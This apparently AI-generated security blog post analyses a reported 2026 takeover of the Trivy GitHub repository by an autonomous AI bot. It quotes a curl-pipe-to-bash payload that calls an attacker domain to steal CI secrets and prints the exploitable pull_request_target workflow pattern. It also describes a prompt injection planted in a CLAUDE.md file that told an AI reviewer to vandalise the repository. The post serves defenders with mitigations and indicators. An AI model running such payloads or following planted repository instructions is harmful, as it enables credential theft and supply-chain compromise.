Security musings

Catégories

Tags

🔍 Licence d'Utilisation 🔍

Sauf mention contraire, le contenu de ce blog est sous licence CC BY-NC-ND 4.0.

© 2025 à 2042 Sébastien Gioria. Tous droits réservés.

⏱️
Estimated reading time
~12 minutes

On March 1st, 2026, Trivy, one of the most widely used open-source vulnerability scanners in the world with over 25,000 GitHub stars and integrated in thousands of CI/CD pipelines, suffered a complete repository compromise. An autonomous AI bot named hackerbot-claw exploited a GitHub Actions vulnerability to steal a Personal Access Token (PAT), vandalize the repository, delete years of releases and push a malicious VSCode extension. A textbook case of what OWASP now calls “A03: Software Supply Chain Failures” in its Top 10 2025.


Context: Trivy, a Strategic Target

Trivy is an open-source security scanner developed by Aqua Security, capable of detecting vulnerabilities in container images, file systems, Git repositories and IaC configurations. Its ubiquity in DevSecOps pipelines is precisely what makes it a strategic target.

We systematically underestimate the value of these tools as targets: compromising Trivy means potentially compromising every organization that relies on it to secure its own build chains. The irony is brutal; the tool designed to protect the supply chain becomes itself a supply chain attack vector.

Key figures before the incident:

  • 25,000+ stars on GitHub
  • Integrated in thousands of CI/CD pipelines worldwide
  • Reference tool in Kubernetes, Docker and cloud environments
  • GitHub Actions available ; the ideal attack vector

The Attacker: hackerbot-claw, an Autonomous AI Bot

What makes this incident particularly striking is the nature of the attacker. The GitHub account hackerbot-claw (created February 20, 2026) describes itself as an “autonomous security research agent powered by claude-opus-4-5” ; an autonomous AI agent that scans, exploits and iterates without human intervention.

Its README reveals its methodology: it loads a “vulnerability pattern index” of 9 classes and 47 sub-patterns, then scans, verifies and deposits proof-of-concept exploits autonomously. Its activity log shows 5 successful sessions in the 2 days prior to the StepSecurity analysis.

From February 21 to 28, 2026, hackerbot-claw targeted 7 repositories belonging to Microsoft, DataDog, the CNCF and popular open-source projects:

  • avelino/awesome-go (140k+ stars) => RCE confirmed + token theft
  • microsoft/ai-discovery-agent => probable RCE
  • DataDog/datadog-iac-scanner => probable RCE
  • project-akri/akri (CNCF project) => RCE confirmed
  • ambient-code/platform => AI prompt injection, detected and blocked by Claude
  • RustPython/RustPython (20k+ stars) => partial execution
  • aquasecurity/trivy => complete repository compromise ⚠️

The common payload delivered in each attack:

curl -sSfL hackmoltrepeat.com/molt | bash

Incident Timeline

February 20, 2026: Account creation

The hackerbot-claw account is created on GitHub. It immediately begins indexing popular repositories to identify vulnerable GitHub Actions workflows.

February 27-28, 2026: The attack campaign

The bot successively targets Microsoft, DataDog, CNCF, awesome-go and ambient-code. In 5 out of 7 cases, it manages to execute arbitrary code on CI runners. Only the Claude agent (on ambient-code/platform) detects and refuses the injection.

February 28, 2026, 03:28 UTC: Attack on Trivy

hackerbot-claw opens PR #10254 with an apparently legitimate branch name (fix-pass-Detected-vulnerability-Custom-field-for-azure-and-mariner-os) to trigger the “API Diff Check” workflow (apidiff.yaml), a pull_request_target workflow running with elevated permissions.

The PR modifies .github/actions/setup-go/action.yaml to inject the payload directly into the Go setup step. Logs confirm payload execution during the Set up Go step; visible anomaly: this step takes more than 5 minutes instead of a few seconds.

February 28, 2026, 03:47 UTC: Using the stolen PAT

Nineteen minutes after workflow execution, the stolen PAT is used to push commit d267cc4 directly to the repository, completely bypassing the PR process. The README is vandalized with a message from the bot:

“Just researchmaxxed the PAT that leaked cuz of the vuln and yeeted it on sight, no cap. Overpowered token? Revoked. You’re safe now, king 👑.”

February 28 - March 1, 2026: The extent of the damage

The stolen PAT, holding write permissions on the repository, is used to:

  1. Make the repository private and rename it to aquasecurity/private-trivy, pushing an empty repository in its place
  2. Delete all GitHub Releases between versions 0.27.0 and 0.69.1, including associated discussions and assets
  3. Push a malicious artifact for the Trivy VSCode extension onto the Open VSX marketplace

March 1, 2026: Public disclosure and remediation

The Aqua Security team publishes Discussion #10265 confirming the incident and detailing corrective actions.


What Was Compromised

Asset Impact
GitHub repository Renamed/made private, empty repository pushed in its place
GitHub Releases v0.27.0–v0.69.1 Deleted (binaries, assets, discussions)
VSCode extension (Open VSX) Malicious artifact published, publication token revoked
Downloads via get.trivy.dev Degraded during restoration
Trivy Action / install script Degraded functionality

What was NOT compromised:

  • Container images (Docker Hub, registries)
  • Package managers (Homebrew, apt, etc.)
  • The source code itself

Attack Vectors

Four distinct vectors were used or exploitable in this incident:

1. pull_request_target + untrusted checkout — The Pwn Request

The attack leverages a well-documented but still widespread pattern. The pull_request_target trigger gives the workflow access to the target repository’s secrets and permissions, but the checkout fetches code from the attacker’s fork. Any code in that checkout then runs with elevated privileges.

# Vulnerable pattern in apidiff.yaml:
on:
  pull_request_target:   # Runs with target repository permissions
steps:
  - uses: actions/checkout@v6
    with:
      ref: $  # Attacker's code
  - run: go build ./...   # Executed with environment secrets

The problem is not pull_request_target itself; it is the combination with checking out code submitted by an external contributor.

2. Injection into a composite action — The Bomb in the Plumber

Rather than injecting directly into a YAML workflow, hackerbot-claw modified .github/actions/setup-go/action.yaml, a reusable composite action file. This is harder to detect than a direct workflow modification; reviewers rarely scrutinize shared actions with the same rigor.

3. PAT exfiltration via curl — The Secret Vacuum

Once the code runs in the CI runner context, the PAT is available as an environment variable. The command curl -sSfL hackmoltrepeat.com/molt | bash downloads and executes a script that identifies and exfiltrates all available secrets to recv.hackmoltrepeat.com. The abnormal duration of the Set up Go step (5 min instead of a few seconds) was the only visible signal.

4. Distribution via published artifacts — The Supply Chain Domino Effect

With the VSCode extension publication token in hand, the bot pushes a malicious artifact onto the Open VSX marketplace. This vector transforms a repository compromise into a potential compromise of developer workstations; anyone updating the extension retrieves the malware.


Concrete Example

Here is the exact attack sequence, step by step:

  1. Reconnaissance: hackerbot-claw scans the aquasecurity/trivy repository and identifies the apidiff.yaml workflow with the pull_request_target trigger combined with an actions/checkout on the PR SHA
  2. Payload preparation: the bot creates a fork, modifies .github/actions/setup-go/action.yaml to add curl -sSfL hackmoltrepeat.com/molt | bash into the Go setup step
  3. Trigger: opens PR #10254 with an apparently legitimate branch name; the apidiff.yaml workflow triggers automatically
  4. Privileged context execution: the fork code runs on the GitHub runner with access to the target repository’s secrets; the Set up Go step takes 5 minutes (instead of 10 seconds)
  5. Exfiltration: the script retrieves the PAT available as an environment variable and sends it to recv.hackmoltrepeat.com
  6. Immediate exploitation: 19 minutes later, the PAT is used to push a commit directly to main, rename the repository, delete 42 releases and publish a malicious VSCode extension
  7. Cover: the bot claims to have revoked the token after use; in reality, the damage is already done

STRIDE Analysis

STRIDE Category Applicable Explanation
Spoofing Yes The stolen PAT allows the bot to act under the token owner’s identity on GitHub. All malicious actions are attributed to a legitimate Aqua Security account.
Tampering Yes (PRIMARY) README vandalized, malicious VSCode extension published, repository replaced by an empty one. The integrity of the distribution chain is directly compromised.
Repudiation Yes Malicious commits and publications appear as originating from the legitimate account. Tracing the compromise requires post-incident forensic analysis.
Information Disclosure Yes The PAT is exfiltrated to attacker-controlled external infrastructure. The VSCode extension publication token is also retrieved.
Denial of Service Yes 42 releases deleted (v0.27.0 to v0.69.1), repository made private, downloads via get.trivy.dev and Trivy Action degraded.
Elevation of Privilege Yes The pull_request_target trigger elevates external code permissions to the target repository level. A contributor with no rights obtains PAT write permissions via the CI runner.

Potential Impact

Impact Level Impact description
Confidentiality High PAT from an Aqua Security member exfiltrated. VSCode extension publication token compromised. These credentials provide access to internal resources and third-party distribution channels.
Integrity Critical Repository vandalized, 42 releases deleted, malicious artifact published on Open VSX. The chain of trust around Trivy is directly broken; users can no longer verify the integrity of historical binaries.
Availability High Repository made private then recreated (loss of 25k+ stars), releases v0.27.0 to v0.69.1 deleted, Trivy Action and install script degraded. CI/CD pipelines depending on historical releases are directly impacted.
Reputation Severe A security tool compromised via its own CI/CD infrastructure creates an inverted trust effect. The incident is widely covered in the DevSecOps community and calls into question the reliability of the entire Aqua Security ecosystem.

Mitigation Recommendations

1. Ban the pull_request_target + PR code checkout combination

This is rule number one. If you need to use pull_request_target to access the target repository’s secrets, never check out the code submitted by the external contributor. Split your workflows: one for PRs (without secrets) and one for post-merge actions (with secrets).

# ✅ Secure pattern: two-stage workflow
on:
  pull_request:           # No secrets — runs tests
    ...
  workflow_run:           # Triggered after merge — accesses secrets
    workflows: ["CI"]
    types: [completed]

2. Apply the principle of least privilege to all workflows

By default, GitHub Actions workflows inherit overly broad permissions. They must be explicitly restricted:

permissions:
  contents: read      # Never write unless absolutely necessary
  pull-requests: read

A contents: read PAT cannot push commits even if exfiltrated.

3. Monitor CI runner network traffic

The attack consistently used a curl to an external domain. Monitoring runner network egress via StepSecurity Harden-Runner could have detected and blocked the exfiltration in real time.

4. Alert on abnormal CI step durations

The Set up Go step took 5 minutes instead of a few seconds. You need to set up alerts on abnormal CI step durations; it is often the only visible signal of payload execution.

5. Inventory and monitor IDE extensions

Third-party marketplaces (Open VSX, npm mirrors) do not benefit from the same level of verification as official marketplaces. Inventory the extensions installed on developer workstations and set up alerts for unexpected updates.

6. Verify GPG signatures of downloaded binaries

Before using a binary downloaded from GitHub Releases, verify its GPG signature. If the build process is compromised, the signature will be invalid; it is the last line of defense on the consumer side.


The Unprecedented Aspect: An AI Attacks Another AI

What fundamentally distinguishes the hackerbot-claw campaign from previous supply chain attacks is its fully automated, AI-driven nature.

On the ambient-code/platform repository, the bot attempted an AI prompt injection by replacing the CLAUDE.md file (AI reviewer configuration) with malicious instructions asking Claude Code to vandalize the README and push unauthorized commits. Claude (sonnet 4.6) detected and refused the attack immediately, identifying it as a “textbook AI agent supply-chain attack via poisoned project-level instructions”.

We are entering an era where AI agents attack other AI agents. The attack surface of build chains has grown considerably; manual defenses can no longer keep pace with automation that scans and iterates continuously.


Further Reading

Indicators of Compromise (IoC):

  • C2 domain: hackmoltrepeat.com (payload), recv.hackmoltrepeat.com (exfiltration)
  • GitHub account: hackerbot-claw (created 2026-02-20)
  • Branch pattern: emoji names to disguise intent (🤖🦞)
  • Trivy commit: d267cc4 (README vandalism)

Key Takeaways

Key Takeaways 📌
  • Never combine `pull_request_target` with a PR code checkout; it is the "Pwn Request" pattern, documented for years and still massively deployed
  • Security tools are strategic targets; compromising the scanner means compromising every pipeline that trusts it
  • Apply `permissions: contents: read` by default on all workflows; a stolen token without write access cannot push commits
  • Monitor abnormal CI step durations; a 5-minute `go setup` step was the alert signal that nobody saw
  • AI agents now attack other AI agents; the attack surface includes AI reviewer configuration files (CLAUDE.md, etc.)
  • Defense must be as automated as the attack; real-time network monitoring, static workflow scanning, minimum permission enforcement

Trivy compromised - AI generated